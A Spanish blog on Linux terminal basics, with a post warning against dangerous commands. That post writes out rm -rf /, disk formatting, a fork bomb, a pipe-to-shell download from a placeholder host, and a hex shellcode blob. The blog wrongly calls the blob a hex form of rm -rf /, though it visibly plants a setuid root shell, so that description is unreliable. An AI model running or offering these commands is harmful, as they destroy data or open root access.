Por ejemplo para la conversión de formatos multimedia con la terminal con la terminal.

Para saber todo lo que quieras sobre los comandos lo mejor es que empieces la búsqueda en Google, poniendo: ubuntu comandos.

En Internet hay muchas páginas en las que explican el uso de comandos; en el foro de Linux Mint Comunidad Hispana ( Fran y Uleti ) me han dado estas direcciones:

http://www.esdebian.org/wiki/lista-comandos-gnulinux-1

http://www.esdebian.org/wiki/lista-comandos-gnulinux-2

http://www.esdebian.org/wiki/lista-comandos-gnulinux-3

http://comandostux.awardspace.com

Si pones Terminal en la casilla de búsqueda de este blog veras algunos ejemplos de usos de la Terminal.

Instalar/Desinstalar paquetes .deb: es uno de los usos mas frecuentes de la terminal, para lo que se usa el comando apt-get ; en Guadalinex no usar el comando aptitude: el motivo...los metapaquetes propios de la distribución; Los metapaquetes no desinstalan, solo instalan, por eso precisamente solo da problemas con aptitude, porque aptitude tiene en cuenta los paquetes que instalo el metapaquete y quiere desinstalarlos....cosa que no deberia hacer apt-get.

Instalar/Desinstalar paquetes no .deb: con la terminal se pueden también instalar algunos paquetes que no están en el formato habitual del sistema: ver aquí.



Averiguar opciones de comandos, y programas en líneas de comandos: Con el comando man + el comando. Si quieres buscar información sobre un programa/comando en concreto, puedes en una terminal teclear:
man nombre-del-programa
Por ejemplo teclea: man mplayer
Te aparecerán unas lineas con información sobre las opciones de ese programa.

Por defecto la información viene en ingles, pero se puede actualizar man a español ejecutando en la terminal:
sudo aptitude install manpages-es manpages-es-extra . Con ello se actualiza la información del comando man sobre otros comandos ( por ejemplo man mount ), pero no sobre todos, la información sobre algunos sigue saliendo en ingles ( por ejemplo man cat )

Obtener información sobre fallos en programas: Si un programa ejecutado desde el menú de Aplicaciones falla, una forma de obtener información sobre ello es ejecutar el archivo ejecutable de dicho programa, valga la redundancia, desde la terminal, normalmente con ello a la vez que se ejecuta el programa aparecen mensajes de error que nos informan de donde puede estar el fallo, y a partir de ahí intentar solucionar el asunto, o buscar información sobre el error que aparezca.

Ver "consejos": Para ello hay que tener instalado los paquetes: fortune, fortune-es, y fortune-es-off. Hay también que editar el archivo /home/usuario/.bashrc, al final del archivo añadimos: fortune , luego guardamos los cambios. Con esto cada vez que abramos una terminal nos aparecerá una cita/consejo aleatorio de los muchos que hay, y luego ya podremos seguir trabajando con la terminal del modo habitual.

Si quieres que los consejos te los den unos dibujos...instala también el paquete cowsay, y añade lo siguiente al archivo /home/usuario/.bashrc :

fortune
fortune | cowsay
fortune | cowsay -f tux


--- Naturalmente si quieres que no te aparezcan los consejos, deshaz el camino andado: borra las lineas añadidas al archivo /home/usuario/.bashrc y desinstala los paquetes añadidos.

Si esto no funciona: escribe en la terminal:
gksu gedit /etc/bash.bashrc
Al final del archivo quitar la línea:
/usr/bin/mint-fortune
( o poner delante de esa linea el signo # )
guarda el archivo, cierra la terminal y vuelvela a abrir: ya no aparecerán los mensajes.

Diccionario de la RAE: sobre como consultar este diccionario en la terminal: Diccionario de la RAE siempre a mano

Configurar el sistema: Francamente no tengo ni idea del uso de la terminal para estos menesteres, ya que de momento siempre he podido configurarlo todo con algún programa gráfico, o si no he podido así...he pedido ayuda en foros, y me han ayudado...o no he podido de ninguna forma. Pero leyendo en webs, foros, etc, veo que hay quien se maneja estupendamente con la línea de comandos para estos menesteres...pregunta, seguro que encontraras ayuda.

Para ejecutar la terminal en modo root de una forma cómoda, por lo menos para mi: problema y solución con la terminal de root.

Instalando con Synaptic el paquete nautilus-open-terminal: con él se puede abrir , desde cualquier carpeta en Nautilus, con el botón secundario del ratón, una terminal  en esa carpeta; lo cual para mi es mas cómodo que abrir una terminal ( en /home/usuario que es en la carpeta que se abre por defecto ) y desde ella ir hasta la carpeta desde la que queramos ejecutar un comando.

Como una imagen vale mas que mil palabras, os pongo una imagen que "explica" para que sirve el comando sudo.




Usar el comando gnome-do: como se indica en este tema: comando gnome-do

--------------------------------------



viernes, 25 de septiembre de 2009

Comando Gnome-open: abrir con la terminal

El comando gnome-open puede ser útil para abrir varios tipos de acciones desde la terminal; para saber mas sobre este comando abrir una terminal y poner: man gnome-open. Es desde luego un comando para los forofos, que los hay, de la terminal.

-----------------------

Uso del comando: abrir una terminal y escribir: gnome-open "lo que quieres abrir": se puede abrir un directorio, una dirección de internet, un archivo (se abrirá con el programa con el que este asociado )( si en el nombre de lo que se quiere abrir no hay espacios en blanco no hace falta poner las comillas), enviar un email a la direcciòn especificada utilizando tu cliente de email favorito.

Si quieres que sea mas fácil puedes hacerlo con añadir:  alias abre='gnome-open' al final del archivo /home/usuario/.bashrc ( como se explica aquí ) con lo que con solo escribir en la terminal: abre "lo que quieras abrir" , se abrirá; los ejemplos que vienen a continuación son usando el comando gnome-open con el alias abre.

Se puede usar para abrir:

-- Páginas de internet: por ejemplo: abre http://www.google.es/ y se abrirá en el navegador que tengas por defecto. Sin el alias la orden seria: gnome-open http://www.google.es/

-- Documentos/Archivos: (se abrirá con el programa con el que este asociado ) por ejemplo: abre "manual de gimp.doc" ( si en el nombre del archivo que queremos abrir no hay espacios en blanco no hace falta poner las comillas). Sin el alias la orden seria: gnome-open "manual de gimp.doc"

-- Directorios: por ejemplo: abre /home/usuario/documentos abrirá ese directorio en nautilus. Sin el alias la orden seria: gnome-open /home/usuario/documentos

-- Enviar un correo: por ejemplo: abre mailto:amigo@ono.com : abrirá el programa de correo predeterminado del sistema,en la ventana adecuada para escribir un mensaje a la dirección amigo@ono.com. Sin el alias la orden seria: gnome-open mailto:amigo@ono.com

------------------------------

viernes, 17 de julio de 2009

Problema - y solución - con la Terminal de root ( en Guadalinex v6)

En Ubuntu 9.04, y en su derivada Guadalinex V6, hay un problema con el terminal de root: En Aplicaciones-Herramientas del Sistema se puede activar una entrada que por defecto esta desactivada, y cuyo nombre es "Terminal de root " y cuyo comando es: sudo /usr/bin/x-terminal-emulator, pero al ejecutarse pide la contraseña, se la pones y no hace nada. Creando un lanzador en el panel ( o en el menú de aplicaciones ) con el comando "gksu gnome-terminal"  ( este es el comando que si que funcionaba en Guadalinex V4 y V5 para tener una terminal de root )  , el resultado es el mismo, pide la contraseña y no se abre.

== En principio, una solución para ejecutar una orden en modo root  es abrir una terminal en modo usuario y poner: sudo "comando" : por ejemplo para abrir nautilus con permisos de root: sudo nautilus. Con ello al principio se abre una terminal con permisos de usuario, pones sudo "comando", y te pide la contraseña de root, la pones y se abre el administrador de archivos con permisos de usuario.

Pero con esto has ejecutado un programa con permisos de root, pero no has entrado en una terminal de root, puesto que una vez ejecutado el comando sigues estando en una terminal de usuario, y si quieres ejecutar otro programa con permisos de root tendras que volver a poner sudo "comando".

== Otro método es abrir una terminal de usuario y escribir sudo su con ello, después de pedirte la contraseña y de que la pongas, te aparece el símbolo # indicativo de que ya estas en una terminal con permisos de root ( en vez del símbolo $ indicativo de que estabas en una terminal de usuario ), y puedes ejecutar varios comandos con permisos de root.

Pero misteriosamente, si creas una entrada en el menú de aplicaciones, con: gnome-terminal sudo su, no se abre ninguna terminal, por lo que este método no sirve para tener de modo permanente acceso a una terminal de root, sino que cada vez tienes que abrir una terminal normal y escribir luego sudo su, poner la contraseña y luego el comando.

== Pero si lo que se quiere es tener de forma permanente una entrada en el menú de aplicaciones para que al hacer click sobre ella se abra una terminal en la que te pida la contraseña, y ya estés en la terminal de root, sin tener que cada vez escribir comandos para ello: he averiguado dos métodos para abrir una terminal en modo root, creando una entrada para ello en el menú de aplicaciones: los comandos que hay que poner en el elemento "terminal de root" son:

--- método 1: comando:  gnome-terminal -e "sudo -i" ( ejecutado como Tipo: Aplicación ) :  este comando tiene dos partes:

gnome-terminal -e:  Ejecuta el argumento de esta opción ( el comando que va a continuación, en este caso sudo -i ) dentro de la terminal.
sudo -i: Mediante esta opción se ejecuta la shell especificada en la entrada /etc/passwd del usuario a nombre del cual se ejecutan los comandos; al ejecutarse los comandos via sudo a nombre de root, con sudo -i aparecerá la shell de root.

Al ejecutar en el Menú de aplicaciones el comando gnome-terminal -e "sudo -i" se abre una terminal, en la que te pide la contraseña de root, la pones y ya aparece el símbolo # indicativo de que estas en una terminal con permisos de root ( en vez del símbolo $ indicativo de que estas en una terminal de usuario ). Y ya puedes ejecutar todos los comandos con permisos de root que quieras.

--- Método 2: Comando: sudo -s , pero poniendo en Tipo: Aplicación en Terminal.

--- o  Método 3:  instalas el paquete konsole , y pones el comando gksu konsole : se abre una ventana en la que te pide la contraseña de root, y luego se abre konsole con permisos de root, con el símbolo #. Y ya puedes ejecutar todos los comandos con permisos de root que quieras.

----------------------------------

lunes, 1 de junio de 2009

Comandos peligrosos

He estado dudando mucho si publicar o no este tema sobre comandos que podrían dañar tus archivos o tu sistema operativo por completo, ya que no quisiera ser responsable de que por curiosidad los ejecutaras y se estropeara tu sistema; por lo tanto te lo digo: NO EJECUTES estos comandos, aunque estos comandos no hacen gran cosa si no se ejecutan como root

--------------------------------------------

rm -rf /
Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.

Como hay "gente pa to" en algún lugar he leído que un tio ejecuto ese comando, grabando el resultado con una videocámara, para luego poner el resultado en youtube; luego supongo que reinstalaria el sistema con una copia de seguridad que tubiera a buen recaudo.

Para saber el buen uso de este comando teclea en una terminal: man rm
--------------------------------------------
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
r
elease */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.
--------------------------------------------
mkfs.ext3 /dev/sda
Se formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.

Para saber el buen uso de este comando teclea en una terminal: man mkfs --------------------------------------------
:(){:|:&};:
Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.

Una forma de hacer que no pase nada con la "forkbomb" es editar en modo root y añadir al final del archivo/etc/security/limits.conf la línea :
% hard nproc 50
Con esto limitamos a 50 el número máximos de procesos que puede ejecutar el usuario.
Guardamos la configuracion (Ctrl + O) y salimos (Ctrl + X).
Ahora para que empecemos a estar protegidos solo basta reiniciar el PC.
Si al configurar el valor en 50, recibes cada tanto un error como este: bash: fork: recurso temporalmente no disponible, esto es debido a que el usuario esta ejecutando mas de 50 procesos normalmente, por lo cual para no recibirlo, modifica el valor a un nivel mas alto, de acuerdo a la cantidad de procesos que ejecutes normalmente: puedes saberlo ejecutando en una terminal el comando top, y viendo que número hay después de Tasks.

--------------------------------------------
cualquier_comando > /dev/sda
Con este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.
--------------------------------------------
wget http://alguna_fuente_desconocida -O- | sh
Nunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.
--------------------------------------------
mv /home/tu_nombre/* /dev/null
Se moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.

Para saber el buen uso de este comando teclea en una terminal: man mv

-------------------------------------------

No debería uno fiarse de cualquier script con comandos que uno no entiende. Esto no sera un virus, porque no se autoreproduce, pero llamémosle como queramos es un peligro. Y no creo que haya una herramienta, método o algo que nos ayude a comprobar antes de ejecutar un script que no tenga algo malicioso de ese tipo, salvo aprender comandos y mas comandos, para estudiar el script antes de ejecuarlo, lo cual me parece que esta fuera del alcance de la mayoria de los que usamos linux.

De todas formas se puede aprender mucho usando la Terminal para saber sobre los comandos, si tecleas: man nombre del comando te aparece información sobre ese comando, lo que significa, sus opciones, usos etc. Y si quieres aprender a crear tus propios scripts, aquí explico como crear un script básico.

Que conste que por ahora todos los scripts que he usado: http://g-scripts.sourceforge.net/nautilus-scripts.javielinuxhttp://gnome-look.org/  (entre ellos: nautilus cripts pack) o no me han funcionado pero tampoco me han dado problemas, o si me han funcionado y sin problemas.

Si instalas/ejecutas cualquier cosa SIEMPRE es por tu cuenta y riesgo. Lo que ocurre es que es poco probable que si alguien tiene desde hace tiempo una web de paquetes o de scripts y todo el mundo está contentísimo con ella vaya a tener algún script malintencionado.

También hay que tener cuidado con los scripts, comandos, etc que te puedan aconsejar que ejecutes en una página, blog, foro, etc, No teclees nada en la terminal procedente de alguien en el que no confíes.

Pero todo tiene su solución. Se pueden ejecutar los scripts sin firmar: 1- en una jaula chroot 2- directamente en una máquina virtual, con Virtualbox con "una instantánea" del Sistema. De esta forma el desastre se reduce prácticamente a nada. 3- En un pc de prueba con el mismo sistema linux que tengamos en nuestro pc de trabajo.

------------------------------

Esta es la explicación de lo que es una "jaula chroot" dada por "Guadafan":

El comando chroot sirve para cambiar el directorio raíz. Imagina que en guadalinex tienes una carpeta llamada /home/hatteras/misegundoguadalinex
Dentro de esa carpeta tienes la copia de otra distro básica o de tu misma guadalinex, es decir, que tendrías algo así como:

/home/hatteras/misegundoguadalinex/bin
/home/hatteras/misegundoguadalinex/sbin
/home/hateras/misegundoguadalinex/usr
/home/hateras/misegundoguadalinex/etc
/home/hateras/misegundoguadalinex/home
...

Pues si haces chroot /home/hateras/misegundoguadalinex automáticamente cambiarías el directorio de trabajo a este directorio y el directorio raiz / ahora sería misegundoguadalinex/, pero totalmente transparente. Al hacer chroot estarías ejecutando comandos que hay dentro de misegundoguadalinex no de tu guadalinex original.

-------------------------------------------